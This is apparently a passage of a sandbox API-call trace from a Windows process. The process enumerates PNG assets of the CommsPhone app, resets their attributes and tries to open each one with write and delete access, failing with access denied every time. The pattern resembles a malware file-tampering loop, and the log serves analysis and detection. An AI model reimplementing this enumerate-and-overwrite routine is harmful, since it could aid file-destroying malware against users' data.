	[0091.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.995] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.995] GetLastError () returned 0x5
	[0091.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eca8) returned 1
	[0091.995] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseMedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0091.995] wcscmp (_String1="BaseMedTileThin.scale-200.png", _String2=".") returned 1
	[0091.995] wcscmp (_String1="BaseMedTileThin.scale-200.png", _String2="..") returned 1
	[0091.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491c3d8
	[0091.995] wcscpy (in: _Dest=0x491c3d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.995] wcscat (in: _Dest=0x491c3d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.995] wcscat (in: _Dest=0x491c3d8, _Source="BaseMedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png"
	[0091.995] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtilethin.scale-200.png")) returned 0x20
	[0091.997] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.997] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.998] GetLastError () returned 0x5
	[0091.998] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c3d8) returned 1
	[0091.998] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseSmallTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.998] wcscmp (_String1="BaseSmallTile.scale-200.png", _String2=".") returned 1
	[0091.998] wcscmp (_String1="BaseSmallTile.scale-200.png", _String2="..") returned 1
	[0091.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c2e0
	[0091.998] wcscpy (in: _Dest=0x491c2e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.998] wcscat (in: _Dest=0x491c2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.998] wcscat (in: _Dest=0x491c2e0, _Source="BaseSmallTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png"
	[0091.999] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltile.scale-200.png")) returned 0x20
	[0092.000] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.000] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.000] GetLastError () returned 0x5
	[0092.000] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c2e0) returned 1
	[0092.000] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseSmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.000] wcscmp (_String1="BaseSmallTileThin.scale-200.png", _String2=".") returned 1
	[0092.000] wcscmp (_String1="BaseSmallTileThin.scale-200.png", _String2="..") returned 1
	[0092.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778260
	[0092.000] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.000] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.000] wcscat (in: _Dest=0x4778260, _Source="BaseSmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png"
	[0092.000] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltilethin.scale-200.png")) returned 0x20
	[0092.001] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.001] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.001] GetLastError () returned 0x5
	[0092.001] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0092.001] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemail1MedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.001] wcscmp (_String1="BaseVoicemail1MedTileThin.scale-200.png", _String2=".") returned 1
	[0092.001] wcscmp (_String1="BaseVoicemail1MedTileThin.scale-200.png", _String2="..") returned 1
	[0092.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716e28
	[0092.001] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.001] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.001] wcscat (in: _Dest=0x4716e28, _Source="BaseVoicemail1MedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png"
	[0092.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1medtilethin.scale-200.png")) returned 0x20
	[0092.003] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.003] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1medtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.004] GetLastError () returned 0x5
	[0092.004] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.004] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0092.004] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemail1SmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.004] wcscmp (_String1="BaseVoicemail1SmallTileThin.scale-200.png", _String2=".") returned 1
	[0092.004] wcscmp (_String1="BaseVoicemail1SmallTileThin.scale-200.png", _String2="..") returned 1
	[0092.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4717288
	[0092.004] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.004] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.004] wcscat (in: _Dest=0x4717288, _Source="BaseVoicemail1SmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png"
	[0092.004] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1smalltilethin.scale-200.png")) returned 0x20
	[0092.008] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.008] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1smalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.008] GetLastError () returned 0x5
	[0092.008] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717288) returned 1
	[0092.008] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemail2MedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.008] wcscmp (_String1="BaseVoicemail2MedTileThin.scale-200.png", _String2=".") returned 1
	[0092.008] wcscmp (_String1="BaseVoicemail2MedTileThin.scale-200.png", _String2="..") returned 1
	[0092.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4717288
	[0092.009] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.009] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.009] wcscat (in: _Dest=0x4717288, _Source="BaseVoicemail2MedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png"
	[0092.009] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2medtilethin.scale-200.png")) returned 0x20
	[0092.010] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.010] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2medtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.010] GetLastError () returned 0x5
	[0092.010] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717288) returned 1
	[0092.010] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x529, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemail2SmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.010] wcscmp (_String1="BaseVoicemail2SmallTileThin.scale-200.png", _String2=".") returned 1
	[0092.010] wcscmp (_String1="BaseVoicemail2SmallTileThin.scale-200.png", _String2="..") returned 1
	[0092.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716ae0
	[0092.010] wcscpy (in: _Dest=0x4716ae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.010] wcscat (in: _Dest=0x4716ae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0092.010] wcscat (in: _Dest=0x4716ae0, _Source="BaseVoicemail2SmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png"
	[0092.010] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2smalltilethin.scale-200.png")) returned 0x20
	[0092.010] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.010] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2smalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.010] GetLastError () returned 0x5
	[0092.011] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0092.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0092.011] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b31838, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b31838, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b31838, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseVoicemailMedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0092.011] wcscmp (_String1="BaseVoicemailMedTileThin.scale-200.png", _String2=".") returned 1
	[0092.011] wcscmp (_String1="BaseVoicemailMedTileThin.scale-200.png", _String2="..") returned 1
	[0092.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5026850
	[0092.011] wcscpy (in: _Dest=0x5026850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0092.011] wcscat (in: _Dest=0x5026850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
